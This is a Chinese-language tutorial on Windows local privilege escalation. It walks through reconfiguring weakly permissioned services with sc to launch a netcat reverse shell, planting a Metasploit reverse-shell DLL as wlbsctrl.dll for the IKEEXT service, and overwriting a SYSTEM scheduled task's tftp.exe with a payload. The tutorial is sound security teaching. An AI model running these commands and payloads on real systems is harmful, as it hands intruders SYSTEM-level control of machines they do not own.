【技术分享】Windows下的渗透测试之提权的基本套路(下)
来自bobao.360.cn
从t7到t10 - 撸起袖子大干一场
到现在这个阶段,我希望我们已经有了一个SYSTEM的shell,但是如果我们还没有,仍有一些其它的途径去获得SYSTEM权限。在这个最后的部分,我们将目光投向Windows的服务和文件及文件夹权限。我们的目标是使用弱权限(权限的错误配置)来提升权限。
我们将检查大量的访问权限,所以我们可以在微软的Sysinternals工具包中拷贝accesschk.exe来使用。“Microsoft Sysinternals”包含了大量优秀的工具,非常遗憾,微软没有将它们放在Windows自带工具中。你可以从这里下载[这里]。
我们将从Windows服务下手,因为往往一些立竿见影的东西会在这里被发现。通常,现在的操作系统不会存在有漏洞的服务,所以,有漏洞的意思是我们可以再次配置某个服务的参数。Windwos的服务就像是软件的快捷方式,现在举个栗子:
我们可以使用sc去查询,配置,和管理Windows服务
1
2
3
4
5
6
7
8
9
10
11
12
13
|
C:\Windows\system32> sc qc Spooler [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Spooler TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\System32\spoolsv.exe LOAD_ORDER_GROUP : SpoolerGroup TAG : 0 DISPLAY_NAME : Print Spooler DEPENDENCIES : RPCSS : http SERVICE_START_NAME : LocalSystem |
我们可以使用accesschk来检查每个服务需要的权限:
我们可以看到每个用户拥有的权限。你可以使用“accesschk.exe -ucqv *”来列出所有的服务。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
C:\> accesschk.exe -ucqv Spooler Spooler R NT AUTHORITY\Authenticated Users SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL R BUILTIN\Power Users SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_START SERVICE_USER_DEFINED_CONTROL READ_CONTROL RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS |
Accesschk可以自动的检查当我们使用一个特定的用户时,我们是否对Windows的某个服务有写的权限。作为一个低权限用户,我们首先就想要看一下“Authenticated Users”组对这些服务的权限。确保你没有搞错,你的用户属于哪个用户组,举个栗子,“Power Users”被认为是一个低权限用户组(它使用的不多)
让我们将Windows 8 和 Windows XP SP0的输出进行对比:
1
2
3
|
Windows 8: C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated Users" * No matching objects found. |
在默认的Windwos XP SP0,我们可以看到,有一个超级大的系统缺陷:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
C:\> accesschk.exe -uwcqv "Authenticated Users" * RW SSDPSRV SERVICE_ALL_ACCESS RW upnphost SERVICE_ALL_ACCESS C:\> accesschk.exe -ucqv SSDPSRV SSDPSRV RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS RW NT AUTHORITY\LOCAL SERVICE SERVICE_ALL_ACCESS C:\> accesschk.exe -ucqv upnphost upnphost RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS RW NT AUTHORITY\LOCAL SERVICE SERVICE_ALL_ACCESS |
这个问题随后在XP SP2就被修复了。然而在SP0和SP1 ,它可以被用来作为通用的本地权限提升漏洞,通过对服务的重新配置,我们可以让它使用SYSTEM权限运行任何我们选择的可执行文件。
让我们看下在实践中是怎么做的,在这种情况下,这个服务将执行netcat并且使用SYSTEM权限反弹一个shell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
C:\> sc qc upnphost [SC] GetServiceConfig SUCCESS SERVICE_NAME: upnphost TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Universal Plug and Play Device Host DEPENDENCIES : SSDPSRV SERVICE_START_NAME : NT AUTHORITY\LocalService C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" [SC] ChangeServiceConfig SUCCESS C:\> sc config upnphost obj= ".\LocalSystem" password= "" [SC] ChangeServiceConfig SUCCESS C:\> sc qc upnphost [SC] GetServiceConfig SUCCESS SERVICE_NAME: upnphost TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Universal Plug and Play Device Host DEPENDENCIES : SSDPSRV SERVICE_START_NAME : LocalSystem C:\> net start upnphost |
我们不是总是对一个服务有完全的访问权限,尽管它被错误的配置了。下面的图是从Brett Moore's那里扒来的,任何一个下图的访问权限都将给我们一个SYSTEM权限的shell。
记住我们目前的用户属于哪个用户组是很重要的,就像前面提到的“Power Users“,其实就是一个低权限的用户组。“Power Users”有它自己相关的一系列漏洞,Mark Russinovich曾经写过一篇关于“Power Users“的很有意思的文章。
[The Power in Power Users (Mark Russinovich) - here]
最后,我们将测试文件和文件夹的权限,如果我们不能直接攻击操作系统进行提权,那么我们可以让操作系统做一些事来帮助我们提权,这个涵盖的方面太多了,所以我在这里演示两种权限提升漏洞和利用它们的方式。一旦你掌握了核心方法,就将可以在其它的情况中应用这些方法。
对于我们的第一个例子,我将复现Parvez的做法,他曾写过《Elevating privileges by exploiting weak folder permissions》,[Elevating privileges by exploiting weak folder permissions]
这个例子是一个特殊的DLL劫持实例,应用程序通常不能通过他们本身来实现一些功能,它们有很多需要hook的资源(大多数是DLL文件但是也有可能是一些专有文件)。如果一个程序或者服务从一个我们有写入权限的目录加载某个文件,那我们就可以利用这个特性来获得一个和这个程序运行权限相同权限的shell。
通常,一个Windows应用将使用预定义的搜索路径去找上文所说的那个需要被加载的DLL,它将按照特定的顺序来检查这些路径。DLL劫持通常通过在这些路径的其中一个(同时要确保这个DLL文件在合法的DLL找到之前被找到)放置一个恶意的DLL文件来进行攻击。这种攻击方式可以通过让被攻击的应用程序对于它要使用的DLL文件,制定一个绝对的路径去放置它们来减轻危害。
下面,你可以看到在32-bit操作系统上的DLL文件的搜索顺序:
1 - 该应用程序所在的目录
2 - 32-bit System directory (C:\Windows\System32)
3 - 16-bit System directory (C:\Windows\System)
4 - Windows directory (C:\Windows)
5 - The current working directory (CWD)
6 - Directories in the PATH environment variable (system then user)
有时候,应用程序尝试加载并不存在于当前系统的DLL文件。导致这种情况的理由可能有很多,比如某个DLL文件仅仅被某些没有被安装的插件所需求。在这种情况下,Parvez发现了某些Windows服务尝试去加载不会被默认安装的DLL文件。
既然上文所说的DLL文件不存在,那我们就可以遍历所有搜索路径(例如上文的1-6)来放置我们的恶意DLL文件,但作为一个低权限用户,将一个恶意的DLL文件放在1-4路径中的希望不大。因为我们正在攻击Windwos的服务,而不是某个应用程序,因此5是不可能的。虽然看似这种攻击方式有点难度,但是一旦我们找到符合要求的路径,就屌了。
让我们看下这种攻击方式的实际应用,作为例子,我们将使用尝试去加载wlbsctrl.dll文件的的IKEEXT(IKE and AuthIP IPsec Keying Modules)服务。
1
2
3
|
测试环境是:Win 7 ,低权限用户 C:\Users\user1\Desktop> echo %username% user1 |
1
2
3
4
|
通过下面的结果,可以判断出我们要成功了,因为在C盘下,如果有一个路径不是Windows默认的路径,那么我们就很可能会对它有写入的权限。 C:\Users\user1\Desktop> echo %path% C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\; C:\Program Files\OpenVPN\bin;C:\Python27 |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
我们可以使用accesschk或者cacls来检查访问权限。 C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27" C:\Python27 Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL RW NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL C:\Users\user1\Desktop> cacls "C:\Python27" C:\Python27 BUILTIN\Administrators:(ID)F BUILTIN\Administrators:(OI)(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C |
1
2
3
4
5
6
7
8
9
10
11
12
13
|
在我们继续往下搞之前,我们需要检查一下IKEEXT服务的状态。在下面的例子中可以看出,它被设置成“AUTO_START”,所以它在系统启动后就自动运行了。 C:\Users\user1\Desktop> sc qc IKEEXT [SC] QueryServiceConfig SUCCESS SERVICE_NAME: IKEEXT TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules DEPENDENCIES : BFE SERVICE_START_NAME : LocalSystem |
现在我们已经具备了攻击它的必需条件,我们可以生成一个恶意的DLL文件并且获得一个shell了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O Name: Windows Command Shell, Reverse TCP Inline Module: payload/windows/shell_reverse_tcp Platform: Windows Arch: x86 Needs Admin: No Total size: 314 Rank: Normal Provided by: vlad902 <vlad902@gmail.com> sf <stephen_fewer@harmonysecurity.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 127.0.0.1 yes The listen address LPORT 9988 yes The listen port Description: Connect back to attacker and spawn a command shell root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D > /root/Desktop/evil.dll Created by msfpayload (http://www.metasploit.com). Payload: windows/shell_reverse_tcp Length: 314 Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"} |
在把恶意DLL传输到目标机器后,我们需要把它重命名为“wlbsctrl.dll”并且移动到"C:\Python27"目录下,然后我们需要耐心的等待机器重启(或者我们可以尝试强制让它重启),然后我们将获得一个SYSTEM权限的shell了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
重要的再说一遍,下面的操作是用一个低权限的用户user1操作的。 C:\Users\user1\Desktop> dir Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Users\user1\Desktop 02/18/2014 01:49 PM <DIR> . 02/18/2014 01:49 PM <DIR> .. 04/22/2013 09:39 AM 331,888 accesschk.exe 02/18/2014 12:38 PM 14,336 evil.dll 01/25/2014 12:46 AM 36,864 fubar.exe 01/22/2014 08:17 AM <DIR> incognito2 06/30/2011 01:52 PM 1,667,584 ncat.exe 11/22/2013 07:39 PM 1,225 wmic_info.bat 5 File(s) 2,051,897 bytes 3 Dir(s) 73,052,160 bytes free C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll 1 file(s) copied. C:\Users\user1\Desktop> dir C:\Python27 Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Python27 02/18/2014 01:53 PM <DIR> . 02/18/2014 01:53 PM <DIR> .. 10/20/2012 02:52 AM <DIR> DLLs 10/20/2012 02:52 AM <DIR> Doc 10/20/2012 02:52 AM <DIR> include 01/28/2014 03:45 AM <DIR> Lib 10/20/2012 02:52 AM <DIR> libs 04/10/2012 11:34 PM 40,092 LICENSE.txt 04/10/2012 11:18 PM 310,875 NEWS.txt 04/10/2012 11:31 PM 26,624 python.exe 04/10/2012 11:31 PM 27,136 pythonw.exe 04/10/2012 11:18 PM 54,973 README.txt 10/20/2012 02:52 AM <DIR> tcl 10/20/2012 02:52 AM <DIR> Tools 04/10/2012 11:31 PM 49,664 w9xpopen.exe 02/18/2014 12:38 PM 14,336 wlbsctrl.dll 7 File(s) 523,700 bytes 9 Dir(s) 73,035,776 bytes free |
万事俱备,只差重启。为了做演示,我使用Administrator用户手动的重启了这个被攻击的服务。
最后的例子呢,让我们看一下计划任务。重新检查我们一开始搜集的关于计划任务的信息,我将对下面的条目进行讲解。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
HostName: B33F TaskName: \LogGrabberTFTP Next Run Time: 2/19/2014 9:00:00 AM Status: Ready Logon Mode: Interactive/Background Last Run Time: N/A Last Result: 1 Author: B33F\b33f Task To Run: E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txt Start In: N/A Comment: N/A Scheduled Task State: Enabled Idle Time: Disabled Power Management: Stop On Battery Mode, No Start On Batteries Run As User: SYSTEM Delete Task If Not Rescheduled: Enabled Stop Task If Runs X Hours and X Mins: 72:00:00 Schedule: Scheduling data is not available in this format. Schedule Type: Daily Start Time: 9:00:00 AM Start Date: 2/17/2014 End Date: N/A Days: Every 1 day(s) Months: N/A Repeat: Every: Disabled Repeat: Until: Time: Disabled Repeat: Until: Duration: Disabled Repeat: Stop If Still Running: Disabled |
从上面的结果可以看到,有一个TFTP客户端,它会在一个时间点和一个远程主机进行连接,并且下载某些日志文件。它会在每天的上午九点运行,并且是用SYSTEM权限运行的(我的天呐)。让我们看下我们对这个路径是否有写入权限。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs" E:\GrabLogs Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL C:\Users\user1\Desktop> dir "E:\GrabLogs" Volume in drive E is More Volume Serial Number is FD53-2F00 Directory of E:\GrabLogs 02/18/2014 11:34 PM <DIR> . 02/18/2014 11:34 PM <DIR> .. 02/18/2014 11:34 PM <DIR> Logs 02/18/2014 09:21 PM 180,736 tftp.exe 1 File(s) 180,736 bytes 3 Dir(s) 5,454,602,240 bytes free |
可以清楚地看到,这里有一个很严重的配置错误,对于这个计划任务来说,根本不需要使用SYSTEM的权限来运行,更糟糕的是,任何经过身份验证的用户都对这个文件夹有写入的权限。从渗透测试的合约来说,到了这一步我只需要生成一个木马,做一个后门(同时要保证它会完美的运行)就可以了,但是作为本次教学的例子,我们可以简单的用木马覆盖掉“tftp.exe”:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O Name: Windows Command Shell, Reverse TCP Inline Module: payload/windows/shell_reverse_tcp Platform: Windows Arch: x86 Needs Admin: No Total size: 314 Rank: Normal Provided by: vlad902 <vlad902@gmail.com> sf <stephen_fewer@harmonysecurity.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 127.0.0.1 yes The listen address LPORT 9988 yes The listen port Description: Connect back to attacker and spawn a command shell root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t exe > /root/Desktop/evil-tftp.exe [*] x86/shikata_ga_nai succeeded with size 341 (iteration=1) |
现在剩下的事就是上传我们的恶意文件,覆盖掉"E:\GrabLogs\tftp.exe",一旦做完了就早点睡觉,防止因为猝死而看不到弹回来的shell。这里要注意的是,别忘了检查一下要入侵的计算机的时间和时区。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
C:\Users\user1\Desktop> dir Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Users\user1\Desktop 02/19/2014 01:36 AM <DIR> . 02/19/2014 01:36 AM <DIR> .. 04/22/2013 09:39 AM 331,888 accesschk.exe 02/19/2014 01:31 AM 73,802 evil-tftp.exe 01/25/2014 12:46 AM 36,864 fubar.exe 01/22/2014 08:17 AM <DIR> incognito2 06/30/2011 01:52 PM 1,667,584 ncat.exe 02/18/2014 12:38 PM 14,336 wlbsctrl.dll 11/22/2013 07:39 PM 1,225 wmic_info.bat 6 File(s) 2,125,699 bytes 3 Dir(s) 75,341,824 bytes free C:\Users\user1\Desktop> copy evil-tftp.exe E:\GrabLogs\tftp.exe Overwrite E:\GrabLogs\tftp.exe? (Yes/No/All): Yes 1 file(s) copied. |
这两个例子给了你提权的思路,当我们检查文件或文件夹权限的时候,需要考虑哪些点事易受攻击的点。你需要花费时间来检查所有的启动路径,Windows服务,计划任务和Windows启动项。
通过上面的各个例子,我们可以看出accesschk称得上是杀人越货的必备工具,在文章结束之前,我想给你一些在使用accesschk上的建议。
1
2
3
4
5
6
7
8
|
当第一次执行任何sysinternals工具包里的工具时,当前用户将会看到一个最终用户许可协议弹框,这是一个大问题,然而我们可以添加一个额外的参数“/accepteula”去自动接受许可协议。 accesschk.exe /accepteula ... ... ... 找出某个驱动器下所有权限配置有缺陷的文件夹路径 accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs "Authenticated Users" c:\ 找出某个驱动器下所有权限配置有缺陷的文件路径 accesschk.exe -uwqs Users c:\*.* accesschk.exe -uwqs "Authenticated Users" c:\*.* |
总结
这份指南写的是Windows提权的一些基本套路,如果你想真正的精通Windows提权,你需要投入大量的精力去研究。对于渗透测试的各个阶段,信息搜集环节总是最关键的,你对目标机器了解的越多,你的思路就越猥琐,你成功的几率就越大。
有时候你会将你的权限提升到Administrator,从Administrator提升到SYSTEM权限是不成问题的,你依旧可以重新配置一个服务,或者创建一个用SYSTEM权限运行的计划任务。